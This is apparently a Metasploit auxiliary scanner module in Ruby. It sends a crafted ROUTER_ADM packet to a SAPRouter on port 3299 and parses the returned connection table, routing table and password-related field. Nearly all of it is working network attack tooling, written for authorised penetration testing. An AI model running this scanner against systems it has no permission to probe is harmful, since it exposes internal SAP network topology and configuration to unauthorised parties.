181 lines
5.8 KiB
Ruby
181 lines
5.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
##
|
|
# This module is based on, inspired by, or is a port of a plugin available in
|
|
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
|
|
# http://www.onapsis.com/research-free-solutions.php.
|
|
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
|
|
# in producing the Metasploit modules and was happy to share his knowledge and
|
|
# experience - a very cool guy.
|
|
#
|
|
# The following guys from ERP-SCAN deserve credit for their contributions -
|
|
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
|
|
# Dmitry Evdokimov.
|
|
#
|
|
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
|
|
# who have Beta tested the modules and provided excellent feedback. Some people
|
|
# just seem to enjoy hacking SAP :)
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SAPRouter Admin Request',
|
|
'Description' => %q{
|
|
Display the remote connection table from a SAPRouter.
|
|
},
|
|
'References' => [
|
|
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ],
|
|
[ 'URL', 'http://help.sap.com/saphelp_nw70ehp3/helpdata/en/48/6c68b01d5a350ce10000000a42189d/content.htm'],
|
|
[ 'URL', 'http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2%20-%20Mariano%20Nunez%20Di%20Croce%20-%20SAProuter%20.pdf' ]
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Mariano Nunez', # Disclosure about SAPRouter abuses
|
|
'nmonkee' # Metasploit module
|
|
],
|
|
'License' => BSD_LICENSE
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3299)
|
|
], self.class)
|
|
end
|
|
|
|
def get_data(size, packet_len)
|
|
info = ''
|
|
1.upto(size) do |i|
|
|
data = sock.recv(1)
|
|
packet_len -= 1
|
|
if data == "\x00"
|
|
sock.recv(size - i)
|
|
packet_len -= size - i
|
|
return info, packet_len
|
|
break
|
|
else
|
|
info << data
|
|
end
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
host_port = "#{ip}:#{datastore['RPORT']}"
|
|
type = 'ROUTER_ADM'
|
|
version = 0x26
|
|
cmd = 0x2
|
|
count = 0
|
|
connected = true
|
|
port = datastore['RPORT']
|
|
source = ''
|
|
destination = ''
|
|
service = ''
|
|
ni_packet = type + [0,version,cmd,0,0].pack("c*")
|
|
ni_packet = [ni_packet.length].pack('N') << ni_packet
|
|
saptbl = Msf::Ui::Console::Table.new(
|
|
Msf::Ui::Console::Table::Style::Default,
|
|
'Header' => "[SAP] SAProuter Connection Table for #{ip}",
|
|
'Prefix' => "\n",
|
|
'Postfix' => "\n",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
"Source",
|
|
"Destination",
|
|
"Service"
|
|
])
|
|
begin
|
|
connect
|
|
rescue ::Rex::ConnectionRefused
|
|
print_status("#{host_port} - Connection refused")
|
|
connected = false
|
|
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
|
|
print_status("#{host_port} - Connection timeout")
|
|
connected = false
|
|
rescue ::Exception => e
|
|
print_error("#{host_port} - Exception #{e.class} #{e} #{e.backtrace}")
|
|
connected = false
|
|
end
|
|
if connected
|
|
print_good("#{host_port} - Connected to saprouter")
|
|
print_good("#{host_port} - Sending ROUTER_ADM packet info request")
|
|
sock.put(ni_packet)
|
|
sock_res = sock.read(4)
|
|
unless sock_res
|
|
fail_with(Failure::Unknown, 'Unable to get the packet length')
|
|
end
|
|
packet_len = sock_res.unpack('H*')[0].to_i 16
|
|
print_good("#{host_port} - Got INFO response")
|
|
while packet_len !=0
|
|
count += 1
|
|
case count
|
|
when 1
|
|
if packet_len > 150
|
|
if sock.recv(150) =~ /access denied/
|
|
print_error("#{host_port} - Access denied")
|
|
sock.recv(packet_len)
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
else
|
|
packet_len -= 150
|
|
source, packet_len = get_data(46,packet_len)
|
|
destination, packet_len = get_data(46,packet_len)
|
|
service, packet_len = get_data(30,packet_len)
|
|
sock.recv(2)
|
|
packet_len -= 2
|
|
saptbl << [source, destination, service]
|
|
while packet_len > 0
|
|
sock.recv(13)
|
|
packet_len -= 13
|
|
source, packet_len = get_data(46,packet_len)
|
|
destination, packet_len = get_data(46,packet_len)
|
|
service, packet_len = get_data(30,packet_len)
|
|
term = sock.recv(2)
|
|
packet_len -= 2
|
|
saptbl << [source, destination, service]
|
|
end
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
end
|
|
else
|
|
print_error("#{host_port} - No connected clients")
|
|
sock.recv(packet_len)
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
end
|
|
when 2
|
|
data = sock.recv(packet_len)
|
|
packet_len -= packet_len
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
when 3
|
|
clients = sock.recv(packet_len)
|
|
packet_len -= packet_len
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
when 4
|
|
pwd = sock.recv(packet_len)
|
|
print_good(pwd)
|
|
packet_len -= packet_len
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
when 5
|
|
routtab = sock.recv(packet_len)
|
|
print_good(routtab)
|
|
packet_len -= packet_len
|
|
packet_len = sock.recv(4).unpack('H*')[0].to_i 16
|
|
end
|
|
if packet_len == 0
|
|
break
|
|
end
|
|
end
|
|
disconnect
|
|
# TODO: This data should be saved somewhere. A note on the host would be nice.
|
|
print_line(saptbl.to_s)
|
|
end
|
|
end
|
|
end
|